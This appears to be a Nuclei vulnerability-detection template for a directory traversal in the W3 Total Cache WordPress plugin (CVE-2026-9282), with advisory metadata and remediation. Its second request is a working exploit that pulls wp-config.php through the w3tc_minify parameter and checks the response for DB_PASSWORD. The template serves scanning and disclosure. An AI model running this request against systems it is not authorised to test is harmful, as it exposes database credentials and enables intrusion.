W3 Total Cache <= 2.9.4 - Unauthenticated Arbitrary File Read

id: CVE-2026-9282

info:
  name: W3 Total Cache <= 2.9.4 - Unauthenticated Arbitrary File Read
  author: 0x_Akoko
  severity: high
  description: |
   W3 Total Cache WordPress plugin <= 2.9.4 contains a directory traversal caused by improper handling in setupSources function, letting unauthenticated attackers read arbitrary files, exploit requires manual minify mode enabled with specific filename.
  impact: |
   Unauthenticated attackers can read arbitrary files, potentially exposing sensitive information on the server.
  remediation: |
   Update to the latest version beyond 2.9.4.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/e92cc06d-006f-4bba-a4ef-b23d80c00085
    - https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.9.4/Minify_MinifiedFileRequestHandler.php#L191
    - https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.9.4/lib/Minify/Minify/Controller/MinApp.php#L108
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-9282
    epss-score: 0.02861
    epss-percentile: 0.85695
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: boldgrid
    product: w3-total-cache
    fofa-query: body="/wp-content/plugins/w3-total-cache/"
    shodan-query: http.html:"w3-total-cache"
    tags: cve,cve2026,wordpress,wp-plugin,w3-total-cache,lfi,unauth,disclosure,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "/wp-content/cache/minify/")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: theme_key
        internal: true
        part: body
        group: 1
        regex:
          - '/wp-content/cache/minify/([a-f0-9]+)\.[^./"]+\.include(?:-(?:footer|body))?\.[a-f0-9]+\.(?:css|js)'

      - type: regex
        name: template_key
        internal: true
        part: body
        group: 1
        regex:
          - '/wp-content/cache/minify/[a-f0-9]+\.([^./"]+)\.include(?:-(?:footer|body))?\.[a-f0-9]+\.(?:css|js)'

  - raw:
      - |
        GET /?w3tc_minify={{theme_key}}.{{template_key}}.include.{{theme_key}}.css&f_array[]=wp-config.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/css")'
          - 'contains(body, "DB_PASSWORD")'
          - 'contains(body, "DB_NAME")'
        condition: and
# digest: 4a0a0047304502204acd62622a3d65798fe8be7009f0ef419e1b66d01902defaf655601e0e8b4e7c022100c4ab4425a855118bdff9e6b4275fabbd3b526a4fbca71fd4ec6ac49aad0a8974:922c64590222798bb761d5b6d8e72950